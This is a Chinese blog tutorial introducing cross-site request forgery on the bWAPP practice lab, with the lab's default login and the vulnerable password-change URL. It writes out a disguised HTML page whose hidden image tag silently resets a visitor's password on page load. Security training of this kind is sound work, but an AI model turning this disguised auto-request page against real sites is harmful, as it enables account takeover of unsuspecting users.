31、CSRF漏洞介绍

最新推荐文章于 2021-08-15 17:10:17 发布

web安全工具库

最新推荐文章于 2021-08-15 17:10:17 发布

阅读量210

点赞数

分类专栏： web安全工具库小课堂文章标签： CSRF 漏洞介绍

本文链接：https://blog.csdn.net/weixin_41489908/article/details/103814617

版权

web安全工具库同时被 2 个专栏收录

175 篇文章 145 订阅

订阅专栏

小课堂

107 篇文章 12 订阅

订阅专栏

CSRF:跨站请求伪造，伪装成用户身份来执行一些非用户自愿的恶意以及非法操作

CSRF和XSS区别：

1、CSRF需要登陆后操作，XSS不需要

2、CSRF通过伪装成受信任用户请求受信任的网站

一、环境：BWAPP

二、登陆，默认账号为：bee，密码为：bug

在这里插入图片描述

三、选择从在csrf的页面，将密码修改为1111，change

在这里插入图片描述

四、分析url

http://192.168.1.119/bwapp/csrf_1.php?password_new=1111&password_conf=1111&action=change

五、退出账号，重新登陆一下，密码已经修改为1111

六、重修修改一下url，直接访问这个这个地址，

http://192.168.1.119/bwapp/csrf_1.php?password_new=2222&password_conf=2222&action=change

密码被重置为2222

七、隐蔽利用

1、新建一个html页面，将url地址重新修改一下，添加到img标签下的src属性，

<!DOCTYPE html>
<html>
<head>
	<title>哎呦不错哦。。。</title>
</head>
	<body>
	      <h2>好久不见<h2>
		  <img src="http://192.168.1.119/bwapp/csrf_1.php?password_new=3333&password_conf=3333&action=change">
	</body>
</html>

2、访问这个htmll，自动访问修改后的url，密码也自动修改了

禁止非法，后果自负

欢迎关注公众号：web安全工具库

在这里插入图片描述

web安全工具库

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
打赏
0
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录